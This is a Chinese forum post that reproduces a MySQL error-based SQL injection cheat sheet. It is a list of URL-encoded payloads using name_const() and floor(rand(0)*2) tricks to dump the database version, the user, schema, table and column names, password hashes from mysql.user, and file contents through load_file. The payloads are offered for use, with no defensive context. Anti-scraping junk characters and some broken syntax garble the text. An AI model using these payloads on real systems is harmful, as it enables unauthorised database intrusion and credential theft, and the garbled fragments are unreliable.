Mysql暴错注入参考（pdf）

admin

本帖最后由 Nightmare 于 2013-3-17 14:20 编辑
1 `* B# V" v9 c$ p  ]" J  H# m
( D! F4 G8 R) _. h% o& X6 K
- \$ F/ b* D  y( Q5 F1 _Mysql暴错注入参考（pdf），每天一贴。。。
, ^, [' f  f- u! t% \
1 c- P  E4 e$ ^! T, Q1 t2 HMySql Error Based Injection Reference
[Mysql暴错注入参考]
Authornig0s1992
7 I, \' f' |0 Z% v" y. [) `4 gBlog:http://pnig0s1992.blog.51cto.com/
% J' i9 e% a, bTeAm:http://www.FreeBuf.com/
$ i$ L3 q& C2 }8 ~( N0 p& o, w$ XMysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
5 T9 G3 j5 ?7 [0 E# I! w小部分版本使用name_const()时会报错.可以用给出的Method.2测试
查询版本:
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
, R  [+ y+ k$ _7 k# P* O5 Rjoin+(select+name_const(@@version,0))b)c)
Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
up by a)b)
' k0 g1 ~' t, q, Y3 x9 a查询当前用户:
) j9 n, h! d# E0 \* j, U8 r* pMethod.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
; g' @5 D5 j7 \2 T/ A6 q9 m9 n( |Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
and(0)*2))x+from+information_schema.tables+group+by+x)a)
# v) C- V  l" ~7 }( i查询当前数据库:
8 @3 Z, C5 s1 h( L  A  z) BMethod.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
& q8 ^3 b1 Z& ^- DMethod.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
# x9 y: e2 X4 l' d% t1 u依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
顺序替换
) ]) V* @. P. J  t  Y" Q0 l爆指定库数目:
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
+by+x)a)+and+1=1 0x6D7973716C=mysql
* t# t7 v+ Z4 W& g- [依次爆表:
  S3 a' \$ F( T8 m( Iand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
- n; [9 a7 j. p! A$ Sable_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
bles+group+by+x)a)+and+1=1
0x6D7973716C=Mysql 将n顺序替换
爆表内字段数目:
4 |) E* @% t3 Hand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
/ k- _! N! F& l( M+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
$ k3 E' Q" z7 U0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
" m+ A8 E5 m) L0 u7 q! k/ f依次爆字段:
/ j; U5 w) B/ J6 R  T9 B* qand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换
依次暴内容:
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche
' Q$ o5 S7 I+ O! [  }* I- M. lma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
) c. a9 h& _# K# `! o* t; M+ w3 A将n顺序替换
* e, t3 W  ?2 H( }$ B. D' y& ?爆文件内容:
5 g7 [5 R2 B1 Hand+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
0 [' Z* W% m" q$ H6 W! n7 L9 @1 {; \from+information_schema.tables+group+by+a)b)
5 \2 m* j. Z, E' ], o, }, I1 B0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
Thx for reading.

不要下载也可以，